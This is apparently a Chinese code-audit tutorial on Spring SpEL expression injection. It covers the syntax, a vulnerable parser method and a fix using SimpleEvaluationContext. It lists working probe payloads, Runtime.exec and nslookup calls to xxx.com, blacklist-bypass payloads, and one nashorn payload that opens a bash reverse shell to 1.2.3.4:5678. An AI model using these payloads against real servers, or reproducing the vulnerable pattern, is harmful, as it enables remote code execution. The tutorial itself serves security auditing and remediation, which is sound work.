【Java代码审计】SpEL表达式注入篇
- 1.SpEL 介绍
- 2.SpEL漏洞概述
- 3.SpEL漏洞演示
- 4.SpEL漏洞修复
1.SpEL 介绍
Spring 表达式语言是一种功能强大的表达式语言,用于在运行时查询和操作对象视图,语法上类似于 Unified EL,但提供了更多的特性, 特别是方法调用和基本字符串模板函数
1、使用量表达式
在 SpEL 表达式中,我们可以直接使用量表达式:
// 将 "Hello World" 字符串硬编码为一个表达式
"#{'Hello World'}"
2、使用 java 代码 new/instance of
Expression exp = parser.parseExpression("new Spring('Hello World')");
3、使用 T(Type)
SpEL 中可以使用 T()
操作符声明特定的 Java 类型,一般用来访问 Java 类型中的静态属性或静态方法。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的 是,SpEL 内置了 java.lang 包下的类声明,也就是说,java.lang.String 可以通过 T(String)
访问,而不需要使用全限定名
parser.parseExpression("T(Integer).MAX_VALUE");
因此,我们通过 T()
调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性。同样的,SpEL 也可以对类进行实例化,使用 new 可以直接在SpEL 中创建实例,创建实例的类要通过全限定名进行访问:
// 创建一个 SpEL 表达式解析器
ExpressionParser parser = new SpelExpressionParser();
// 定义一个 SpEL 表达式,用于创建新的 java.util.Date 对象
Expression exp = parser.parseExpression("new java.util.Date()");
// 使用表达式求值,获取新创建的 Date 对象
Date value = (Date) exp.getValue();
// 输出新创建的 Date 对象
System.out.println(value);
产生 SpEL 表达式注入漏洞的大前提是存在 SpEL 的相关库,因此我们在审计时可以针对这些库进行搜索,并跟踪器参数是否可控。根据常用的库,可以总结出以下常见关键字:
org.springframework.expression.spel.standard
SpelExpressionParser
parseExpression
expression.getValue()
expression.setValue()
2.SpEL漏洞概述
Spring 为解析 SpEL 提供了两套不同的接口,分别是“SimpleEvaluationContext
”及“StandardEvaluationContext
。SimpleEvaluationContext
接口仅支持 SpEL 语法的子集,抛弃了 Java 类型引用、构造函数及 beam 引用,相对较为安全。而StandardEvaluationContext
则包含了 SpEL 的所有功能,并且在不指定EvaluationContext
的情况下,将默认采用StandardEvaluationContext
产生 SpEL 表达式注入漏洞的另一个主要原因是,很大一部分开发人员未对用户输入进行处理就直接通过解析引擎对 SpEL 继续解析。一旦用户能够控制解析的 SpEL 语句, 便可通过反射的方式构造代码执行的 SpEL 语句,从而达到 RCE 的目的
SpEL 漏洞的危害有:任意代码执行、获取SHELL、对服务器进行破坏等
一般来讲,在测试 SpEL 表达式注入漏洞时,我们可以通过插入以下 POC 来检测是否存在 SpEL 表达式注入漏洞:
${255*255}
T(Thread).sleep(10000)
T(java.lang.Runtime).getRuntime().exec('command')
T(java.lang.Runtime).getRuntime().exec("nslookup xxx.com")
new java.lang.ProcessBuilder("command").start()
new java.lang.ProcessBuilder({'nslookup xxx.com'}).start()
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup xxx.com')
在 SpEL 表达式注入漏洞的实际利用中,会存在一个十分常见的情况:网站存在黑名单校验。此时攻击者需要通过各种方法绕过黑名单的关键词检测或语义检测。对于常见的基于正则的黑名单匹配绕过是相对简单的,可利用以下两种方法构造 Payload:
1、利用反射与拆分关键字构造 Payload
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","command"})}
2、利用 ScriptEngineManager 构造 Payload
#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/5678;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}
3.SpEL漏洞演示
漏洞代码:
public String vul1(String ex) {
ExpressionParser parser = new SpelExpressionParser();
// StandardEvaluationContext权限过大,可以执行任意代码,默认使用可以不指定
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue(evaluationContext).toString();
log.info("[vul] SpEL");
return result;
}
此时我们传入恶意的payload打开本地计算器:
T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
成功RCE:
4.SpEL漏洞修复
因 SpEL 默认情况下采用 StandardEvaluationContext 模式,允许其进行类型引用、构造函数等操作,这导致 SpEL 漏洞可以进行任意代码执行等危险操作。为了修复 SpEL 这类漏洞, Spring 官方推出了 SimpleEvaluationContext 作为安全类来进行防御,SimpleEvaluationContext 支持 SpEL 语法的子集,抛弃了 Java 类型引用、构造函数及beam 引用
public String spelSafe(String ex) {
// SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue(simpleContext).toString();
log.info("[safe] SpEL");
return result;
}
再次触发恶意payload,报错: